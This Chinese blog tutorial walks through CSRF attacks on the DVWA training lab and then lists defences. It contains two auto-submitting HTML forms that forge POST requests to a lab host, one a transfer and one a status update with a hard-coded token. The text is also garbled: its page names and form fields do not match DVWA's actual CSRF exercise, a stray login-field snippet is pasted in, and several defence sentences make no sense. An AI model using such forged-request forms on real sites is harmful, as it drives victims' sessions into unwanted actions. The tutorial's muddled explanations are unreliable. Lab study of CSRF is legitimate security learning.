DVWA CSRF攻击分析

一、什么是CSRF攻击

跨站请求伪造(Cross-site request forgery,CSRF),也被称为一次性攻击,利用Web应用程序已经经过身份验证的用户的在线会话。一个恶意网站通过HTML、JavaScript等方法在用户的浏览器端构造恶意请求,从而引导用户完成一些他并不知情的操作,例如在银行网站上以他的身份进行转账操作。

为了防范CSRF攻击,应用程序必须采取措施来保证每个请求都是用户的意愿并避免被伪造。常见的措施包括Token验证、Referer验证、验证码等。

二、DVWA简介

DVWA是一款用于安全测试的PHP/MySQL web应用程序。DVWA为“Damn Vulnerable Web Application”的缩写,意思是“超级容易被攻击的Web应用程序”,是一个合法的漏洞测评环境。

DVWA提供了包括SQL注入、XSS、CSRF、文件包含、文件上传等多个漏洞测试,在安装DVWA后,就可以对它进行测试,帮助用户了解这些漏洞的作用以及如何防范。

三、DVWA CSRF攻击实验

在DVWA中,包含了一部分CSRF攻击的示例。我们可以通过攻击它们来了解CSRF攻击的本质及其防护方案。

1.设置DVWA

先访问DVWA,用管理员账户登陆。DVWA的攻击等级有高、中、低,这里选择中等难度。

<input name="username" class="loginInput" id="username" tabindex="1" 
type="text" value="" size="20" autocorrect="off" autocapitalize="off" /> 
<input name="password" class="loginInput" id="password" tabindex="2" 
type="password" size="20" autocorrect="off" autocapitalize="off" /> 

2.CSRF攻击实例1 – 转账操作

找到“CSRF防御 – 获取cookies”的页面,获取cookies字符串,然后拼接转账攻击的HTML文件。攻击文件通过iframe嵌入到恶意网站中。大多数web浏览器对iframe有限制,不能通过iframe直接更改顶层浏览器的URL,为了规避此限制,攻击者通常会使用JavaScript提交表单。而此时,由于DVWA没有加入任何CSRF防护机制,所以我们可以构造如下的表单:

<html>
  <head>
  </head>
  <body>
    <form action="http://192.168.111.129/vulnerabilities/csrf/" method="POST">
      <input type="hidden" name="voucher" value="4fc908000001">
      <input type="hidden" name="transferAmount" value="10">
      <input type="submit" value="转帐">
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html> 

3.CSRF攻击实例2 – 更新状态

找到“CSRF防御 – 强制验证”页面,开发一个HTML文件提交攻击请求:更新状态。可以找到我们需要的用户和验证码,通过构造如下表单提交请求,可以成功更新状态:

<html>
  <head>
  </head>
  <body>
    <form action="http://192.168.111.129/vulnerabilities/csrf/" method="POST">
      <input type="hidden" name="form" value="update" />
      <input type="hidden" name="id" value="7" />
      <input type="hidden" name="status" value="Enrolled" />
      <input type="hidden" name="vtoken" value="9YX4C8BA731E8637A6BAFF7C033DA427" />
      <input type="submit" value="Save Details" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html> 

四、如何预防CSRF攻击

1.使用Token验证

使用Token验证是当前最常用的防御CSRF攻击的方法。Token是Web应用程序为了限制客户端请求的来源而引入的一种验证方式。Token时刻都在变化,因此一个攻击者无法准确地构造合适的请求。

Token验证的方式大致有如下两种:

  1. 将Token放入URL中的每个请求。可以是用相当的复杂性和义务处理Token的逻辑。
  2. 将Token放在HTTP协议的头部,每个请求都带有Token。适合复杂场景和RESTful API。

2.使用Referer验证

但是,有一些客户端显示如何突破Referer来进行CSRF攻击,使用Referer验证是在服务器端验证HTTP Referer信息的合法性。Referer是一个用于标识HTTP请求来源如何到达现在请求的一部分信息。使用Referer验证,可以在一定程度上避免CSRF攻击。但需要注意的是,一些浏览器会禁用Referer头部。在这种情况下,仅依赖专有Referer是不太可靠的,而且可能会导致一些诸如图片、文件等资源的问题。

3.使用验证码

特别是在用户和网站交互方式不是很频繁的情况下,可以使用验证码。使用400回复验证码,可以保护用户提交的数据和请求的情况,更好地保护用户数据。

最后

CSRF攻击的危害是很大的,攻击者可以借助这种攻击手段突破Web应用程序的安全限制,实现很多恶意操作。为了更好的保护用户数据和Web应用程序的安全,我们需要在编写Web应用程序前考虑开发相关的安全机制,并且在运行应用程序时随时检查和更新安全事项。

原创文章,作者:HQTRQ,如若转载,请注明出处:https://www.506064.com/n/331414.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
HQTRQHQTRQ
上一篇 2025-01-16 15:46
下一篇 2025-01-16 15:46

相关推荐

  • CSRF攻击原理与解决方法

    一、XSS攻击原理与解决方法 XSS攻击(Cross Site Script)是指攻击者在网页中嵌入恶意的脚本代码,当用户访问这个网页时,可以将用户的cookie、session等…

    编程 2025-02-05
  • DVWA CSRF攻击分析

    一、什么是CSRF攻击 跨站请求伪造(Cross-site request forgery,CSRF),也被称为一次性攻击,利用Web应用程序已经经过身份验证的用户的在线会话。一个…

    编程 2025-01-16
  • python之csrf简介的简单介绍

    本文目录一览: 1、python如何把csrftoken写入cookie 2、Python后端工程师面试题目有哪些 3、python学科都学习写什么 4、Python Post遇到…

    编程 2025-01-13
  • json的csrf的利用(json csrf)

    本文目录一览: 1、如何在JSON端点上利用CSRF漏洞 2、CSRF 攻击是什么 3、CSRF实例 4、json格式,CSRF如何防御? 5、JSON必知必会 如何在JSON端点…

    编程 2025-01-11
  • dvwa如何产看php源码,dvwa的搭建和使用

    本文目录一览: 1、zend studio怎么搭建dvwa 2、怎么在kali linux上进入dvwa 3、如何在xmapp上搭建dvwa 4、dvwa怎么查看low等级代码 5…

    编程 2024-12-29
  • DVWA通关教程:从安装到破解

    一、DVWA安装教程 1、首先下载DVWA压缩包,解压到Web服务器的www目录下; cd /var/www/ wget https://github.com/ethicalhac…

    编程 2024-12-27
  • DVWA SQL注入的详细阐述

    一、基本概念 DVWA(Damn Vulnerable Web Application)是一个用于漏洞测试的Web应用程序,其目的是让安全爱好者和安全专业人员使用不同的技术和方法来…

    编程 2024-12-21
  • php审计dvwa(php审计代码教程)

    本文目录一览: 1、如何使用docker中的php环境来调试代码 2、按流程用phpstudy装dvwa为什么最后127.0.0.1登不上 3、dvwa怎么查看low等级代码 4、…

    编程 2024-12-12
  • CSRF原理详解

    一、CSRF原理过程 CSRF(Cross-site request forgery)跨站请求伪造,是一种网络攻击方式,攻击者利用受害者已登录的身份,在不知情的情况下发送恶意请求,…

    编程 2024-12-12
  • DVWA SQL注入详解

    一、什么是SQL注入 SQL注入是指攻击者通过输入非法的SQL语句,从而进入系统的数据库中,从而控制可执行的SQL语句。如果攻击者成功利用SQL注入,他们可以从数据库中获取数据,修…

    编程 2024-11-05

发表回复

登录后才能评论